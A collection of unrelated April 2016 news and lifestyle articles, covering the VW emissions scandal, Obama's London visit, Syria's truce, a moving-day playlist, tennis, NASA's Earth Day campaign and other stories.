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The systems for cleaning pollutants are deactivated at low temperatures to protect motors or prevent a possible accident, as is allowed by EU regulations, but it was not clear whether some makers used this provision to bend the rules.

Dobrindt said that besides German brands Volkswagen, Audi, Mercedes, Opel and Porsche, as well as France's Renault, "other manufacturers (affected) are ... Alfa Romeo, Chevrolet, Dacia, Fiat, Hyundai, Jaguar, Jeep, Land Rover, Nissan and Suzuki."

Meanwhile, independent of the German probe, Daimler -- owner of Mercedes-Benz, announced that it was launching an internal investigation, "into its certification process related to exhaust emissions in the United States upon the request of the US Department of Justice (DOJ)."

Daimler pledged to "investigate possible indications of irregularities and of course take all necessary actions," it said as its shares went into a tailspin on the Frankfurt stock exchange.

In Asia, Japan's transport ministry sent officials to raid a Mitsubishi Motors research and development centre for a second day on Friday.

Mitsubishi said it would halt production and sales of the affected models -- mini-cars sold in Japan including many made for rival Nissan -- and warned that the number would likely rise, as it looks to vehicles sold overseas.

- VW skids deep into red -

For its part, VW said it sank into a loss of 1.582 billion euros in 2015, due mainly to the 16.2 billion euros in provisions it has been forced to set aside to cover regulatory fines, lawsuits and recall costs of the scandal.

"The emissions issue significantly impacted Volkswagen's finances," said Matthias Mueller, group chief executive.

VW had only just reached an agreement with US regulators -- who had first broken the scandal -- to offer US owners of some 480,000 illegally polluting diesel cars options of "substantial compensation" and to fix the cars, or to buy them back.

The German giant had faced a court deadline for solutions to the emissions scandal and San Francisco district court judge Charles Breyer said the agreement in principle would give owners of its 2.0 liter diesel cars choices for compensation which also included cancelling the contracts for those under lease.

The offer, which will likely cost Volkswagen billions of dollars, also included the creation of a fund for environmental protection, the company said at a court hearing.

Details of the proposal between Volkswagen USA, the Department of Justice and the Environmental Protection Agency were not immediately released.

But it appeared to be enough to allow Volkswagen to avert a huge trial over how it would deal with the scandal that has already deeply damaged the company.

The so-called "dieselgate" scandal led to the departure of VW's chief executive Martin Winterkorn.

The German giant, which has abandoned its ambitions of becoming the world's biggest carmaker ahead of Toyota in the wake of the scandal, has already started recalling some eight million vehicles affected in Europe.

The scandal has greatly tarnished the reputation of a company once regarded as a paragon of German industry.

The recall operation in Europe is expected to take all year. And while VW is footing the bill, it is not expecting to have to pay European owners compensation, much to the chagrin of consumer protection groups.
Whether the next roof over your head is across the hall or across the country, moving is an undeniably anxiety-inducing experience. How on earth can you chill out and get your stuff packed and on the truck in time?

Turns out, music has been scientifically proven to ease stress.

So we took it upon ourselves to play musical therapist/DJ for all your moving day woes.

So start grooving (and moving) to this Spotify playlist we created for you to get you through each step of the process. Heres to a smooth move.



1. Paperwork, by T.I. and featuring Pharrell Williams

Before you get to packing, youre going to have to deal with a little drudgery called paperwork. Perhaps you thought you were done with all that nonsense after closing day.

Nope! Now youve got to tackle insurance policies, moving truck rental contracts and change of address forms, just to name a few. We hope this peppy tune from T.I. and Pharrell will keep you motivated while you get to it.



2. Irreplaceable, by Beyonce

OK, this ones about Queen Bey throwing a no-good scrub out of her house. But it certainly gets you in the mood to send someone packingeven if its yourself! Just dont put everything you own in a box to the left (something tells us thats not a proper packing technique anyway).



3. Dirty Work, by Austin Mahone

Ok, everythings moving along. Youve carefully packed all your thingseven that weird cutout of Han Solo that your husband insists on keeping. But you aint done yet. Nows the time for the inevitable dark task of deep-cleaning your whole home before you move out.

Whether youre trying to get your security deposit back on a rental or you just need to leave your digs in mint condition for the next owner, its time to get your hands dirty. Let this catchy tune motivate you as you get to work.



4. Use Somebody, by Kings of Leon

Whether youre moving across the street or across the country, youre gonna need some help. So go ahead and use somebodyhire movers, beg your best friend or kid brother who owes you a favor (or five) to help schlep your couch and the rest of your stuff into your new digs.

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If you ask your pals, make sure you know how to properly pay them back (pizza and beer dont cut it anymore, FYI). And if you hire movers, it helps to know their secrets for a successful movebefore you ever pick up the phone.



5. Nothing Left, by Kygo and featuring Will Heard

We cant believe were putting this one in here, but it turns out some of you folks need a reminder to take everything with you when you go.

You know that creeping feeling we have when we finally leave a place for the last time? That uneasy vibe is because leaving stuff behind isnt all that uncommon.

Realtors tell us theyve seen people leave behind baby items, cars, cashand even their pets! So make sure theres nothing left behind when you walk out your door that last time.



6. The Way You Move, by Outkast

We really do like the way you move (or the way your movers move, its that the direction youve decided to go.) Youre ready for action, never relaxin, and by now, youre in the middle of a flawless moving day. No shattered fragile items here!



7. Spiderwebs, by No Doubt

Youre in your new digs! But you might wish you werent home right now when you have to trek into your new basement, attic or crawl space and clean out all the cobwebs and spiderwebs left behind by previous residents. Thats OKeven if you have to evict a few unwanted house guests, weve seen worseand we know how to tell you to deal.



8. My House, by Flo Rida

Dudeyou did it! Even if youre still unpacking and taking care of other settling-in tasks, give yourself a pat on the back for making it through the special hell that is moving. Pop the champagne, invite your friends and family over, and welcome them to your house as you play that music too loud.

Also, when can we drop by?

The post Move Your Bodyand All of Your StuffWith This Moving Day Playlist appeared first on Real Estate News and Advice - realtor.com.





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Barcelona (AFP) - Rafael Nadal admitted he is controlling the nerves that clouded his 2015 season better after seeing off a second set fightback from Fabio Fognini to reach the Barcelona Open semi-finals with a 6-2, 7-6 (7/1) win on Friday.

Fognini had won three of the previous five meetings between the pair, including in Barcelona and at the US Open last year.

And the Italian looked set to take the match to a deciding set as he reeled off four straight games to move from 2-0 down to 4-2 up in the second set.

"Honestly, if that had happened last year it could have provoked a flurry of nerves," added Nadal.

"This year things are a little different, I am accepting every situation and I don't have the feeling of being constantly nervous."

However, Nadal, who won his first tournament of the year in Monte Carlo last week, broke back when Fognini was serving for the set at 5-4.

And despite some brilliant play by the Italian to fend off three match points in his next service game, Nadal dominated the tie-break 7-1 to reach his first semi-final in Barcelona for three years.

"You can be dominating the point, but because he is so quick you are always under pressure because you feel at any moment he can change the dynamic of the point," added Nadal.

Victory also keeps Nadal on course to match Argentine legend Guillermo Vilas's record of 49 clay-court titles in Sunday's final.

Nadal will face either Russia's Andrey Kuznetsov or German Philipp Kohlschreiber in Saturday's semi-finals.

Earlier, defending champion Kei Nishikori extended his winning streak in Barcelona to 13 matches as he overcame stiff first-set resistance to beat Ukrainian Alexandr Dolgopolov 7-5, 6-0.

Nishikori had to save four set points when serving at 5-4 down in the first set, but held on before romping through the second set.

"He had a couple of set points. It was great to save them and after that I gained a bit of confidence and I was a different player," Nishikori told Spanish TV station Teledeporte.

"He is a tricky player, he has a great serve and can be really aggressive. I struggled a bit in the first set, but I was much better in the second and happy to get through today."

Nishikori will face Frenchman Benoit Paire in Saturday's semi-finals after the sixth seed overcame Tunisia's Malek Jaziri 3-6, 7-5, 6-1.
NASA is taking Earth Day online today (April 22) with a project to share how its Earth science missions work and to find out how you'll mark the day, too.

The U.S. space agency is celebrating the Earth with #24Seven, a social media project to showcase its missions to study our planet. The project also aims to collect photos and videos from the public's Earth Day activities.

"This Earth Day, NASA is giving the world an insider's look into the myriad activities the space agency conducts in a typical day to study and protect our home planet. And ? we're asking the world to share your Earth Day with us," NASA officials wrote in an announcement. "On April 22, NASA will post about 200 images across nearly 100 different social media channels that capture the breadth of the agency's 24-hour-a-day work to study Earth." [Related: Build a Recycled Cardboard Spaceship for Your Kid (Video)]

NASA will post its Earth science images on Twitter and other social media outlets using the hashtag #24Seven. Members of the public can share their images with NASA by tagging them with #24Seven as well. More details on how to participate in the project are on NASA's announcement page here.

"Together we can create a truly international picture of how the world celebrates Earth Day," NASA officials wrote.

NASA's #24Seven Earth Day campaign actually started Thursday (April 21) when Earth Day began at the international date line in Samoa and Christmas Island. It will continue through 8 a.m. EDT (1200 GMT) on Saturday (April 23) when Earth Day will end for residents of Baker Island on the other side of the date line. The space agency will then compile the best and most remote posts from the public into a video to be released in a few weeks.

To learn more about how NASA studies the Earth from space and the ground, visit: http://www.nasa.gov/earth.

Email Tariq Malik at tmalik@space.com or follow him @tariqjmalik and Google+. Follow us @Spacedotcom, Facebook and Google+. Original article on Space.com.

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Related Algeria says 14 Islamists killed near Tunisia last month

The Air Algerie crash that killed 116 people in the Mali desert in 2014 was caused by the pilots failing to activate the plane's anti-icing system and not responding properly when the plane stalled, investigators said Friday.

The McDonnell Douglas MD-83 crashed in northern Mali in bad weather, barely half an hour into its flight from Burkina Faso's capital Ouagadougou to Algiers, killing everyone on board.

France bore the brunt of the tragedy with 54 dead -- nearly half of the victims -- and in some cases, whole families wiped out.

Presenting the final report by investigators from France's BEA civil aviation authority in Bamako on Friday, Mali's Transport Minister Mamadou Hachim Koumare said engine pressure sensors had become blocked, seemingly by ice crystals, and the crew did not turn on the anti-icing system.

BEA director Remy Jouty, speaking at the agency's headquarters in Le Bourget, near Paris, said the blocked sensors had caused the engines to lose power and the plane to lose speed.

"It appears the crew did not notice or did not respond to this loss of speed until the plane stalled," Jouty said.

Investigators were unable to access the cockpit voice recordings, Jouty said, making it difficult to assess what was happening on the flight deck when the pilots seemingly failed to take action over the falling speed and stall alarms.

When these alarms sounded, "the situation was in theory recoverable", he said.

The report called for a permanent engine anti-icing system to be studied for the McDonnell Douglas plane, along with modifying the criteria for the system to be activated and further stall training for crews.

In April last year the BEA -- which was invited to help with the probe by Malian authorities -- said data showed that as they got into difficulties, the pilots did not attempt a manoeuvre to pull the plane out of a stall.

A French judicial probe last year, reported by Le Figaro newspaper, also pointed to other factors behind the crash, including the pilots' lack of experience flying in African weather.

The head of a group representing French victims of the crash, Delphine Tricot, said "a succession of errors, blunders and incompetences" had caused the crash, claiming the pilots were too tired.

But Jouty said the crew was experienced and familiar with both the route and likely weather conditions.

He also said that in the days before the crash, the pilots' flying workload was normal and planning for the flight conformed to European regulations.

The crash in July 2014 was the third fatal incident worldwide in the space of just eight days, capping a disastrous spell for the aviation industry.

It followed the shooting down of a Malaysia Airlines plane in restive eastern Ukraine, killing all 298 people on board, and the crash of a flight in torrential rain in Taiwan, with the loss of 48 lives.

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LONDON (Reuters) - There is no chance of NATO expansion in the near future because of fears it could destabilize Russia, the U.S. ambassador to the military alliance said on Friday, a prospect which could disappoint Georgia and a number of Balkan states. Douglas Lute said NATO was at an "an inflection point", facing an upheaval matched only by circumstances at the end of the Cold War, and the alliance did not want to exacerbate internal weaknesses in Russia. "In practical terms I don't there's much additional room in the near term, the next several years perhaps or maybe even longer, for additional NATO expansion," Lute told the Aspen Security Forum in London. "I think Russia plays an important part in the strategic environment and the strategic environment will put a brake on NATO expansion. "If you accept the premises ... about Russia's internal weakness and perhaps steady decline, it may not make sense to push further now and maybe accelerate or destabilize that decline." Last December, NATO invited Montenegro to join in its first expansion since 2009, a move which provoked anger from Moscow which opposes any extension to former communist areas of eastern and southeastern Europe. NATO gave Georgia an open-ended promise of membership at a summit in April 2008 and other Balkan states such as Macedonia and Bosnia and Herzegovina are keen on membership while Ukraine, which has battled Russian-backed separatists in its east since 2014, has also set its sights on joining. Lute said the policy line for additional members remained open but all NATO's 28 allies had to agree on inviting new members and there was little likelihood of that. "There's no way we're going to get consensus any time in the near future on adding ... Georgia or Ukraine," he said. (Reporting by Michael Holden; editing by Stephen Addison)
(Reuters) - North Carolina Republicans criticized President Barack Obama on Friday after the president told a news conference in London the state's law on transgender bathroom use was wrong and should be overturned.

North Carolina last month became the first state to require transgender people to use public restrooms that match the sex assigned to them at birth rather than their gender identity.

Big businesses, rock stars and other artists have boycotted the state unless it repeals the law, which transgender advocates say misguidedly whips up concern over public safety and infringes on the rights of transgender people.

Backers of the legislation in the Republican-controlled North Carolina legislature say it is meant to protect privacy rights and keep children and women safe from sexual predators.

"Not every father has the luxury of Secret Service agents protecting his daughters' right to privacy in the girls' bathroom," North Carolina State Senate Leader Phil Berger said in a statement.

Reporters asked Obama and British Prime Minister David Cameron about the law after the British government had issued a warning to its lesbian, gay, bisexual and transgender (LGBT) citizens that recent laws passed in North Carolina and Mississippi may affect them.

Mississippi Governor Phil Bryant this month signed a far-reaching law allowing people with religious objections to deny wedding services to same-sex couples and protecting other actions considered discriminatory by gay rights activists.

Obama said North Carolina and Mississippi "are beautiful states, and you are welcome and you should come and enjoy yourselves."

"I also think that the laws that have been passed there are wrong and should be overturned," Obama said.

North Carolina Governor Pat McCrory's office released a statement saying he agreed with Obama that Britons are welcome in the state and would receive hospitality.

"However, the governor respectfully disagrees with the political left's national agenda to mandate changes to basic, common-sense restroom norms," spokesman Josh Ellis said in a statement.

North Carolina Speaker of the House Tim Moore said Obama's safety and security record on foreign policy was weak and "now it seems like he's challenged on some basic safety issues here in the United States, too."

(Reporting by Daniel Trotta; Editing by David Gregorio)
A word to the wise: Whatever you do, make sure it's not what Sylvi Listhaug just did.

Norway's new immigration minister is facing heat from critics after her attempt to show solidarity with migrants crossing the Mediterranean Sea blew up in her face on Tuesday.

According to reports, Listhaug wanted to experience what life was like as one of the more than 300,000 refugees who've tried to cross the Mediterranean Sea from Africa and the Middle East into Europe since the beginning of 2015.

Migrants off the coast of Italy

This was not a good idea to begin with.

But it got so much worse when Listhaug donned a bright orange, full-body preservation wetsuit and floated around in the water for a few minutes before a boat  which was never more than a few feet away  came by and "rescued" her.

The Minister of Integration in Norway, Sylvi Listhaug, taking a bath outside Lesbos. "A taste of being a refugee."pic.twitter.com/KCArJ5ujcB https://pbs.twimg.com/media/CgbcS-DWsAEp4_R.jpg:large

Listhaug did have the good sense to acknowledge her experience was "different" from the real thing.

"It is a completely different experience when you are wearing a survival suit," she told a Norway newspaper, according to the Washington Post.

Indeed, the availability of floating bodysuits might have gone a long way toward saving some of the estimated 500 migrants who died when their boat capsized on its way from Libya to Italy.

A German-led rescue mission in the Mediterranean in March

Critics were quick to slam the minister's move as insensitive.

Karin Andersen, a member of parliament who represents Norway's Socialist Left Party, suggested Listhaug open a window to experience "what it's like to be homeless," the Telegraph reported. Others reportedly said she should sit for a few minutes to see "what it's like to be paralyzed" or "close her eyes to experience blindness," according to the Telegraph.

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To make matters worse, Listhaug is reportedly an advocate for letting fewer migrants settle in Norway. The northern European nation took in between 30,000 and 35,000 refugees and migrants in 2015, the Washington Post reported, but finds itself "rethinking its generosity" as its resources strain beneath the weight of the influx, according to the New York Times.

The takeaway?

Don't try what Listhaug did at home. Or anywhere. If you want to learn what it's like to be a migrant, try something else  like actually asking a migrant.
Oslo (AFP) - Quick-thinking medical staff in Norway saved a patient's life by calling in an F-16 fighter jet to whisk life-saving medical equipment from one hospital to another, media reports said Friday.

The patient was fighting for his life and without a special lung and heart procedure called extracorporeal membrane oxygenation (ECMO) he would die.

But the hospital in the town of Bodo in central Norway, where he was being treated, had neither the equipment nor the skills to carry out the complex last-ditch treatment.

A hospital in Trondheim, about 450 kilometres (279 miles) to the south, did, however, have a machine available.

Staff there contacted the air force on April 4 for help in transporting the equipment -- a request that came in just as two F-16 fighter jets were getting ready to take off from an airbase near Trondheim, the reports said.

"They didn't ask any questions, except for what size the machine was," Anders Wetting Carlsen, chief doctor at Trondheim's Saint Olaf hospital, told AFP.

In a stroke of good luck one of the fighter jets was equipped with an external hold that allowed it to transport equipment. The machine was loaded onto the aircraft, which made for Bodo at top speed.

"Usually we cover that distance in 35 minutes," air squadron head Borge Kleppe told Norwegian daily Verdens Gang.

"But given the special nature of the cargo, the pilot stepped on it and arrived at the destination less than 25 minutes later," he added.
By Roberta Rampton and Kylie MacLellan LONDON (Reuters) - President Barack Obama made a bold intervention into the politics of Washington's closest ally on Friday, exhorting Britons to stay in the EU and warning that if they left they would be at "the back of the queue" for a U.S. trade deal. Obama's plea to British voters ahead of a June referendum on membership of the European Union was welcomed by Prime Minister David Cameron and other supporters of the EU, but denounced by those campaigning to leave as meddling in British affairs. Britain's influence on the world stage was "magnified" by its membership of the 28-member bloc, Obama said at a press conference alongside Cameron, who has bet his political future by calling the referendum to put to rest an issue that has divided his own Conservative Party for generations. Rebutting criticism that he was interfering, Obama invoked the cherished "special relationship" between Washington and London. "If one of our best friends is in an organization that enhances their influence and enhances their power and enhances their economy, then I want them to stay in it," Obama said. "Or at least I want to be able to tell them: 'I think this makes you guys bigger players.'" On trade, he took aim at one of the main "Out" arguments -- that Britain could easily negotiate deals and get better terms on its own. The United States would regard a deal with the EU as a higher priority than a separate agreement with a much smaller market such as a stand-alone Britain, Obama said. "It's fair to say that maybe some point down the line there might be a UK-US trade agreement but that's not going to happen anytime soon because our focus is negotiating with a big bloc, the European Union, to get a trade agreement done," Obama said. "And the UK is going to be in the back of the queue, not because we don't have a special relationship but because given the heavy lift on any trade agreement, us having access to a big market with a lot of countries rather than trying to do piecemeal trade agreements is hugely efficient." Cameron said Britain should listen to its friends, and he could not think of any close ally who wanted a Brexit. Obama set out his case in a newspaper article that invoked the interlinked history of the United States and Britain and the tens of thousands of Americans lying in European war graves. "As your friend, I tell you that the EU makes Britain even greater," the headline read. "Together, the United States, the United Kingdom, and the European Union have turned centuries of war in Europe into decades of peace, and worked as one to make this world a safer, better place," Obama wrote. "DOWNRIGHT HYPOCRITICAL" But those campaigning for an "Out" vote in the June 23 referendum were dismissive. London's New York-born Mayor Boris Johnson, a leader of the "Out" campaign from within the Conservative Party widely seen as angling for Cameron's job, said Obama's advice was "incoherent, inconsistent and downright hypocritical". Obama was urging Britain to pool its sovereignty with other nations in a way that the United States would never countenance for itself, Johnson wrote in a newspaper column. He also referred to "the part-Kenyan President's ancestral dislike of the British empire", a comment widely criticized as demeaning the EU debate, and even denounced as "dog-whistle racism" by an opposition Labour politician. Other "Out" campaigners said Obama's views did not matter because this is his last year in office. "Obama doesn't have the authority to deny us a (trade) deal, as he will be long gone before any such proposals are on the table," said Richard Tice, co-founder of Leave.EU, one of several "Out" campaigns. Experts struggled to find a precedent for Obama's direct appeal to British voters. "It is the biggest intervention I can think of by an American president who has turned up in this way and intervened directly in the politics of a Western democracy since the end of the Cold War," said Anand Menon, professor of European politics and foreign affairs at Kings College London. "It is above and beyond what people do in Western democracies. And if you think as I do that it is a fear thing, then it works." Opinion polls suggest that "In" is ahead, but the race is tight and the number of undecided voters is very high. Many U.S. banks and companies fear a Brexit would cause market turmoil, diminish the clout of Washington's strongest European ally, hurt London's global financial hub status, cripple the EU and weaken Western security. The "Out" campaign says such fears are exaggerated and Britain would profit from greater control over its regulation, the ability to make bilateral trade deals and the right to restrict immigration from EU neighbors. Many in the "Out" camp say they are passionate supporters of the special relationship with the United States and think Britain would open itself up to America and to the world if it cut loose from what they regard as the dysfunctional EU. Before talks at Cameron's Downing Street office, Obama and his wife Michelle congratulated Queen Elizabeth, who celebrated her 90th birthday on Thursday. [L5N17P4BN] Prince Philip, Elizabeth's 94-year-old husband, took the wheel of a Range Rover to drive the Obamas to lunch on the territory of Windsor Castle, a royal residence that traces its history back over almost 1,000 years to William the Conqueror. (Additional reporting by London bureau; writing by Guy Faulconbridge and Estelle Shirbon; editing by Peter Graff)
London (AFP) - US President Barack Obama said Friday he was "deeply concerned" at the prospect of a truce in Syria coming to an end.

"I am deeply concerned about the cessation of hostilities fraying and whether it's sustainable," he said at a press conference in London with Prime Minister David Cameron.

He added: "The cessation of hostilities actually held longer than I expected, and for seven weeks we've seen a significant reduction in violence inside that country and that gave some relief to people."

Obama said that "if in fact the cessation falls apart, we will try to put it back together again even as we continue to go after ISIL", referring to the Islamic State group.

He added: "I have always been sceptical about (Russian President Vladimir) Mr Putin's actions and motives inside of Syria.

"He is, along with Iran, the pre-eminent backer of a murderous regime."

The UN's top envoy to the war-ravaged country warned earlier Friday that the fragile ceasefire in Syria is in grave peril without urgent action.

The truce "is still in effect, but it is in great trouble if we don't act quickly," Staffan de Mistura told reporters, adding that peace talks in Geneva would continue through Wednesday.

The landmark partial ceasefire was negotiated by the United States and Russia and took effect on February 27.
Windsor (United Kingdom) (AFP) - Normally the US Secret Service is pretty strict about President Barack Obama getting in non-armoured cars with non-expert drivers, but on Friday they made an exception.

On Obama's arrival at Windsor Castle, the president and First Lady Michelle Obama -- code names "Renegade" and "Renaissance" -- were picked up from their Marine One helicopter by Queen Elizabeth II and her 94-year-old husband Prince Philip, who was in the driver's seat.

Obama and the prince, formally known as the Duke of Edinburgh, got in the front of the Range Rover while the queen and First Lady sat in the back.

"I have to say, I have never been driven by a Duke before," Obama later joked. "I can report that it was very smooth riding."

This is Obama's fifth trip to Britain as president, and he hinted at how much he has enjoyed meeting the country's longest-serving monarch who has greeted US presidents since Harry Truman.

"The queen has been a source of inspiration for me," Obama said. "She's truly one of my favourite people."

The two couples had lunch together at Windsor, the queen's weekend residence located west of London, to mark her 90th birthday, which was on Thursday.

But the trip also marks what is likely to be Obama's last presidential visit to Britain and meeting with the queen.

As a gift, the White House said the Obamas presented the queen "with a custom photo album chronicling her visits with US presidents and first ladies".

"The collection of historical photos in the album highlights the enduring close friendship between the United States and the United Kingdom," the White House said.

The queen's first visit to the United States was in 1951, before the start of her long reign.

The only president since Truman that she has not met was Lyndon B. Johnson.
The United Arab Emirates has pledged $4 billion to Egypt, half as a deposit in the central bank and the other half in investments in developmental projects, the Emirati news agency WAM reported on Friday.

Egypt's foreign currency reserves stood at $16.5 billion in March, less than half of the $36 billion it registered before the 2011 revolution, which was followed by political and security unrest that spooked investors and tourists, the main sources of foreign currency.

The UAE deposit at the central bank aims to support Egypt's foreign currency reserves, according to WAM.

Egypt reportedly recieved $6 billion in central bank deposits from the three Gulf countries in April 2015, which were pledged during the Economic Development Conference in Sharm El-Sheikh, the then-central bank governor Hisham Ramez told Reuters.

However, it is unclear whether the above mentioned allocation, announced by the UAE on Friday, refers to the same pledge made in Sharm El-Sheikh in March 2015. Central bank officials were not immediately available for comment.

Along with Saud Arabia and Kuwait, the UAE has emerged as one of Egypt's main backers following the 2013 ouster of Islamist president Mohamed Morsi, providing Cairo with more than $30 billion in aid.

Egypt might also recieve a $3 billion dollar deposit from Saudi Arabia soon, according to local media reports that are yet to be confirmed by the central bank.

Abu Dhabi's Crown Prince Sheikh Mohammed bin Zayed Al-Nahyan arrived in Cairo on Thursday for a short visit to meet Egyptian President Abdel-Fattah El-Sisi.

The two officials went on a tour on Friday of a number of projects related to the new administrative capital due to be built east of Cairo. The new capital, which is part of El-Sisis plan to boost the economy through a series of mega-projects, is estimated to cost $45 billion.

The visit included talks on strengthening bilateral relations and international issues of mutual interest.

Egypt and the UAE have been conducting a joint military drill in the Gulf country's waters aimed at boosting military cooperation between the two Arab states, with the latest exercise starting last week.

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London (AFP) - US President Barack Obama paid tribute to pop legend Prince on Friday and revealed he had played "Purple Rain" and "Delirious" that morning before visiting Queen Elizabeth II.

Obama, who is on a four-day trip to Britain, said he and US ambassador Matthew Barzun had played the two Prince tracks at the ambassador's residence at Winfield House in London.

"And so I'm staying at Winfield House. And it so happens that the ambassador has a turntable," Obama told a joint press conference with British Prime Minister David Cameron.

"And this morning we played Purple Rain and Delirious just to get warmed up before we left the house for important bilateral meetings like this."

Obama and First Lady Michelle Obama visited the queen at Windsor Castle, her weekend residence to the west of London, on Friday before heading to Downing Street for talks with Cameron.

"I love Prince because he put out great music and he was a great performer," the president said.

"I didn't know him well. He came to perform at the White House last year and was extraordinary and creative and original and full of energy. And so it's a remarkable loss."

Prince, whose pioneering brand of danceable funk and virtuoso talents made him one of the most influential figures in music, died suddenly on Thursday at his secluded compound in Minnesota. He was 57.

Ambassador Barzun is a well-known fan of indie music, hosting bands such as "Belle & Sebastien" at his residence, a mansion in Regent's Park.
London (AFP) - US President Barack Obama on Friday called for the repeal of laws in North Carolina and Mississippi which discriminate on the basis of sexual and gender orientation.

Visiting Britain as that country warned its citizens about US anti-gay and anti-transgender laws, Obama insisted British visitors would be greeted in the two states with "extraordinary hospitality."

But, he added, "I also think that the laws that have been passed there are wrong. And should be overturned."

"They're in response to politics in part. In part, some strong emotions that are generated by people. Some of whom are good people, but I just disagree with them, when it comes to respecting the equal rights of all people, regardless of sexual orientation," he said.

In Mississippi, Republican Governor Phil Bryant has signed a law allowing officials and businesses to deny marriage-related services to gay people or refuse to employ them if they feel it would violate their religious beliefs.

North Carolina last week moved to curtail a law targeting gay and transgender people, following a growing backlash from companies and celebrities, but stopped short of ending limits to public bathroom access.

"I think it's very important for us not to send signals that anybody is treated differently," Obama said.
London (AFP) - US President Barack Obama on Friday scotched suggestions that the international community would deploy troops to Libya to prop up the fledgling unity government and fight the Islamic State group.

"There's no plan for ground troops in Libya," Obama said at a joint press conference in London with British Prime Minister David Cameron.

"I don't think that's necessary. I don't think it would be welcomed by this new government. It would send the wrong signal."

"What we can do is provide them with expertise, what we can do is provide them with training," he said.

"We can't wait if ISIL is starting to get a foothold there," he said, using an alternative acronym for IS.

"We are working not just with the Libyan government but a lot of our international partners to make sure that we're getting the intelligence we need, and in some cases actions to prevent ISIL having another stronghold from which to launch attacks against Europe or the United States," he said.

The European Union on Monday offered "concrete" support to Libya's new unity government to boost the economy and security, including training for the Libyan coastguard to stem the influx of migrants across the Mediterranean.
LONDON (Reuters) - U.S. President Barack Obama said on Friday the Syrian crisis cannot be solved without political negotiations and that required dealing with people he deeply disagrees with. "We are not going to solve the overall problem unless we can get this political track moving," Obama told a joint news conference with British Prime Minister David Cameron. He said he has always been skeptical about Russian President Vladimir Putin's actions and motives in Syria and that Russia will recognize that the Syrian problem cannot be solved by military means. (Reporting by Roberta Rampton and Kylie MacLellan; Writing by Ana Nicolaci da Costa; editing by Stephen Addison)
Geneva (AFP) - Syria's fragile ceasefire is in grave peril, US President Barack Obama and the UN's special envoy warned, as violence surged in the war-ravaged country's second city Aleppo.

The truce "is still in effect, but it is in great trouble if we don't act quickly", the United Nations' top envoy for Syria, Staffan de Mistura, told reporters in Geneva, where he is mediating faltering peace talks.

Obama voiced alarm at the situation, telling a press conference in London: "I am deeply concerned about the cessation of hostilities fraying and whether it's sustainable."

A landmark partial ceasefire -- not including the Islamic state group -- which was negotiated by the United States and Russia and took effect on February 27, had dramatically curtailed violence across much of Syria and raised hopes that a lasting deal could be struck in Geneva to end the bloodshed.

But the country has been rocked by fighting in recent weeks, particularly around the city of Aleppo, where at least 25 civilians were killed and 40 wounded in air strikes on rebel-held neighbourhoods on Friday alone, emergency workers said.

- Fragile peace talks -

De Mistura said Friday's violence in Aleppo was "very worrisome".

Frustrated by the surging violence, the lack of access for desperately needed aid and the failure to secure the release of detainees, Syria's main opposition High Negotiations Committee (HNC) halted its formal participation this week in the Geneva talks.

But de Mistura said Friday that members of his team had continued to hold "very, very productive" meetings at a technical level with remaining HNC members at their Geneva hotel.

And he said he intended to push ahead with the ongoing round of talks, which began on April 13, until Wednesday.

"We need to try until Wednesday to get as deep as possible... and we can do that both formally, informally, technically, practically," he said.

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He hailed all sides finally engaging in discussions on the thorny issue of political transition, but acknowledged that the understanding of what that would entail still differed widely.

The fate of President Bashar al-Assad remains a major sticking point in the indirect talks, with the opposition insisting any peace deal must include his departure, while Damascus insists his future is non-negotiable.

The HNC, an umbrella group comprising the main Syrian opposition and rebel factions that came together in Riyadh in December, said in a statement Friday that it was continuing "to work hard for progress on political transition, for relief from sieges and air strikes".

"And we have had a meeting here today on the detainee issue," it said, stressing that it considered the ceasefire to be "in trouble".

HNC spokesman Salem al-Meslet told AFP that if the group sees "major and serious steps on the ground... in the next couple of days, there will be nothing stopping the members who left Geneva from returning".

- 'Murderous regime' -

De Mistura called for a new high-level meeting of the 17-country International Syria Support Group, which is co-chaired by the United States and Russia.

"We do need certainly a new ISSG at the ministerial level, because the level of danger... (means that such a meeting) is urgently required," he said.

Obama meanwhile lashed out at Moscow for supporting "a murderous regime", but vowed to keep working with the Russian government to strengthen the ceasefire and support the peace talks.

He said he had spoken to Russian President Vladimir Putin on Monday "asking him to put more pressure on (Syrian President Bashar al) Assad, indicating to him that we would continue to try to get the moderate opposition to stay at the negotiating table in Geneva".

"If in fact the cessation falls apart, we will try to put it back together again even as we continue to go after ISIL," he said, referring to IS, which along with other jihadists is not included in the truce deal.

The group said it had captured a Syrian pilot alive on Friday after shooting down his plane east of Damascus.

Since Syria's conflict erupted in March 2011, more than 270,000 people have died, according to the Syrian Observatory for Human Rights, which is considered to have the most reliable count.

The UN no longer provides casualty figures for Syria, since it considers them too difficult to verify, but de Mistura said Friday he believed the actual toll had to be far higher, likely around 400,000.

The Pentagon meanwhile said 20 civilians had been killed in US airstrikes on IS targets in Syria and Iraq over a five-month period, although observers warned the toll is likely much higher.
President Barack Obama will go to the atom-bombed city of Hiroshima after a G7 summit in Japan next month, the Nikkei business daily reported Friday, in what would be a first for a sitting US leader.

Washington will "arrange with Japan his visit on May 27 when the G7 leaders' summit wraps up," the newspaper said, citing several US government officials it did not identify.

The White House refused to comment, while Japan said that there were no ongoing arrangements between the two sides for such a visit.

White House officials have said that Obama is considering stopping in the city late next month around the time of the May 26-27 Group of Seven summit that is to take place in another part of Japan.

A visit by Obama would have enormous symbolic importance and would follow US Secretary of State John Kerry's journey last week to Hiroshima, which took in the memorial and museum to the 1945 bombing in the city.

Kerry, who was joined by other G7 foreign ministers, is the highest-ranking US administration official to pay respects at the spot where an American plane dropped an A-bomb in the world's first-ever nuclear attack.

While visiting the city, Kerry declined to comment on the likelihood of an Obama visit.

"That is subject to a very full and complicated schedule that the president has to plan out way ahead of time," he said.

Obama, who won the Nobel Peace Prize in 2009 for his call for a world without nuclear weapons, is expected to make a speech about nuclear abolition, the Nikkei said, citing an unnamed high-ranking US government official.

Obama is also considering offering a floral tribute at Hiroshima's Peace Memorial Park and Japanese Prime Minister Shinzo Abe is also expected to accompany Obama, according to the paper.

A US official told the Nikkei that Washington will formally notify Japan of the plans early next month.

Asked at a regular press conference whether the US and Japan are working to arrange a visit to Hiroshima by Obama, Chief Cabinet Secretary Yoshihide Suga, the government's top spokesman, flatly denied it.

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"It is not true," Suga said.

But he added it is "very important" for Japan that world leaders visit Hiroshima and understand the reality of the suffering caused by the atomic bombing.

Speculation of an Obama visit has intensified since Kerry said in Hiroshima after he and his G7 counterparts wrapped up two days of talks there that everyone should visit the city.

"I hope one day the president of the United States will be among the everyone who is able to come here," he said.

